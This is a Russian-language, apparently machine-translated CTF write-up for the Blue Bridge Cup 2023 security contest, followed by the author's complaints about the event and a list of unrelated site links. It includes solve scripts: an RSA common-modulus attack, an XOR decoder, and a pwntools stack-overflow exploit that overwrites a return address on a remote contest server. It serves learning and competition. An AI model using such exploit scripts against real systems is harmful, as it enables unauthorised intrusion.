Соревнования по кибербезопасности Blue Bridge Cup 2023
Соревнования по кибербезопасности Blue Bridge Cup 2023

Соревнования по кибербезопасности Blue Bridge Cup 2023

[TOC]

часть WP

Как сказать, из-за каких-то странных операций в соревновании по сетевой безопасности Blue Bridge Cup я не записался. Большие ребята в команде участвовали и получили очень хорошие результаты. Это прямой переход на чужой WP.

сбор разведданных

Запрещенный доступ

Согласно подсказке исходного кода, HackBar напрямую изменяет заголовок запроса Client-IP:

анализ данных

ZIP

WireShark нашел flag.zip:

Я обнаружил, что мне нужно распаковать пароль. Формат пароля указан в комментариях к сжатому пакету. Взломать с помощью ARCHPR:

Взлом пароля

CyberChef

Заходим в Cyberchef, сначала ROT13 (кажется, это шифр Цезаря, при расшифровке Amount нужно корректировать), а потом декодируем Base64:

RSA

Атака в общем режиме RSA:

Язык кода:javascript
копировать
from Crypto.Util.number import *
import gmpy2
import random
random.seed(123456)
e1 = random.randint(100000000, 999999999)
e2 = 65537
n =
7265521127830448713067411832186939510560957540642195787738901620268897564963900603849624938868472135068795683478994264434459545615489055678687748127470957
m1 =
3315026215410356401822612597933850774333471554653501609476726308255829187036771889305156951657972976515685121382853979526632479380900600042319433533497363
m2 =
1188105647021006315444157379624581671965264301631019818847700108837497109352704297426176854648450245702004723738154094931880004264638539450721642553435120
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
s = -s
m1 = gmpy2.invert(m1, n)
if t < 0:
t = -t
m2 = gmpy2.invert(m2, n)
m1 = gmpy2.powmod(m1, s, n)
m2 = gmpy2.powmod(m2, t, n)
m = m1 * m2 % n
flag = long_to_bytes(m)
print(flag)

Обратный анализ

RC4

Прямая динамическая отладка IDA: когда основная функция возвращается, вы можете видеть, что содержимое исходной переменной v5 было изменено на флаг через RC4:

XOR

Программа выполняет XOR открытого текста и ключа, и мы снова выполняем XOR зашифрованного текста, чтобы получить флаг.

exp:

Язык кода:javascript
копировать
key = 'SEcRET7'
enc = [0x35, 0x29, 0x02, 0x35, 0x3E, 0x35, 0x0F, 0x60,
0x20, 0x06, 0x64, 0x26, 0x65, 0x1A, 0x61, 0x77,
0x5A, 0x64, 0x68, 0x60, 0x53, 0x60, 0x20, 0x4E,
0x6B, 0x21, 0x67, 0x54, 0x7E, 0x71, 0x51, 0x64,
0x75, 0x60, 0x51, 0x64, 0x73, 0x05, 0x65, 0x21,
0x61, 0x4A]
for i in range(len(enc)):
enc[i] ^= ord(key[i % 7])
for x in enc:
print(chr(x), end='')

Анализ уязвимостей

переполнение стека

getsфункцияпереполнение стекалазейки, просто измените обратный адрес на функцию бэкдора:

Язык кода:javascript
копировать
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
# p = process('./pwn')
# libc = ELF('../../glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')
p = remote('101.200.77.68', '12451')
# libc = ELF('./libc-2.27.so')
def dbg():
gdb.attach(p)
pause()
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
info = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :p.interactive()
backdoor = 0x4011B1
payload = b'B' * 0x20 + b'deadbeef' + p64(backdoor)
p.sendline(payload)
ia()

Разные разговоры:

Нижеизложенное является личным мнением

Кубок Ланьцяо в этом году можно назвать беспорядком. Это первое платное соревнование по интернет-безопасности, это первый наблюдатель с двумя камерами, в котором одновременно запрещена проверка внешних сетей и даже протоколов. В этом году турнир Blue Bridge Cup Internet Security имеет новаторское значение.

Если я правильно помню, первый раз было запланировано 27-28 мая, а потом, как и ожидалось, произошло столкновение с CISCN, а потом время было изменено и так далее. Мне, как человеку, который смотрит весело, очень понравилось. В то же время некоторые колледжи и университеты в этом году, в университетах, которые сотрудничают с Blue Bridge Cup, продвигают соревнования по кибербезопасности Blue Bridge Cup среди студентов, которые никогда не подвергались воздействию CTF...

Конечный результат таков, что третий приз можно стабилизировать всего одним вопросом в провинциальном соревновании. Полный лидер команды даже ненадолго возглавил предварительный раунд соревнования и, наконец, вошел в число 50 лучших, благодаря алгоритму. Кубок Blue Bridge Cup настолько известен, что некоторые братья, которые никогда не сталкивались с CTF, записались на соревнование по сетевой безопасности Blue Bridge Cup и в конце концов не получили 0 ответов.

Могу только сказать, что не могу и не хочу комментировать, пока вы довольны как организатор Blue Bridge Cup.

boy illustration
Углубленный анализ переполнения памяти CUDA: OutOfMemoryError: CUDA не хватает памяти. Попыталась выделить 3,21 Ги Б (GPU 0; всего 8,00 Ги Б).
boy illustration
[Решено] ошибка установки conda. Среда решения: не удалось выполнить первоначальное зависание. Повторная попытка с помощью файла (графическое руководство).
boy illustration
Прочитайте нейросетевую модель Трансформера в одной статье
boy illustration
.ART Теплые зимние предложения уже открыты
boy illustration
Сравнительная таблица описания кодов ошибок Amap
boy illustration
Уведомление о последних правилах Points Mall в декабре 2022 года.
boy illustration
Даже новички могут быстро приступить к работе с легким сервером приложений.
boy illustration
Взгляд на RSAC 2024|Защита конфиденциальности в эпоху больших моделей
boy illustration
Вы используете ИИ каждый день и до сих пор не знаете, как ИИ дает обратную связь? Одна статья для понимания реализации в коде Python общих функций потерь генеративных моделей + анализ принципов расчета.
boy illustration
Используйте (внутренний) почтовый ящик для образовательных учреждений, чтобы использовать Microsoft Family Bucket (1T дискового пространства на одном диске и версию Office 365 для образовательных учреждений)
boy illustration
Руководство по началу работы с оперативным проектом (7) Практическое сочетание оперативного письма — оперативного письма на основе интеллектуальной системы вопросов и ответов службы поддержки клиентов
boy illustration
[docker] Версия сервера «Чтение 3» — создайте свою собственную программу чтения веб-текста
boy illustration
Обзор Cloud-init и этапы создания в рамках PVE
boy illustration
Корпоративные пользователи используют пакет регистрационных ресурсов для регистрации ICP для веб-сайта и активации оплаты WeChat H5 (с кодом платежного узла версии API V3)
boy illustration
Подробное объяснение таких показателей производительности с высоким уровнем параллелизма, как QPS, TPS, RT и пропускная способность.
boy illustration
Удачи в конкурсе Python Essay Challenge, станьте первым, кто испытает новую функцию сообщества [Запускать блоки кода онлайн] и выиграйте множество изысканных подарков!
boy illustration
[Техническая посадка травы] Кровавая рвота и отделка позволяют вам необычным образом ощипывать гусиные перья! Не распространяйте информацию! ! !
boy illustration
[Официальное ограниченное по времени мероприятие] Сейчас ноябрь, напишите и получите приз
boy illustration
Прочтите это в одной статье: Учебник для няни по созданию сервера Huanshou Parlu на базе CVM-сервера.
boy illustration
Cloud Native | Что такое CRD (настраиваемые определения ресурсов) в K8s?
boy illustration
Как использовать Cloudflare CDN для настройки узла (CF самостоятельно выбирает IP) Гонконг, Китай/Азия узел/сводка и рекомендации внутреннего высокоскоростного IP-сегмента
boy illustration
Дополнительные правила вознаграждения амбассадоров акции в марте 2023 г.
boy illustration
Можно ли открыть частный сервер Phantom Beast Palu одним щелчком мыши? Супер простой урок для начинающих! (Прилагается метод обновления сервера)
boy illustration
[Играйте с Phantom Beast Palu] Обновите игровой сервер Phantom Beast Pallu одним щелчком мыши
boy illustration
Maotouhu делится: последний доступный внутри страны адрес склада исходного образа Docker 2024 года (обновлено 1 декабря)
boy illustration
Кодирование Base64 в MultipartFile
boy illustration
5 точек расширения SpringBoot, супер практично!
boy illustration
Глубокое понимание сопоставления индексов Elasticsearch.
boy illustration
15 рекомендуемых платформ разработки с нулевым кодом корпоративного уровня. Всегда найдется та, которая вам понравится.
boy illustration
Аннотация EasyExcel позволяет экспортировать с сохранением двух десятичных знаков.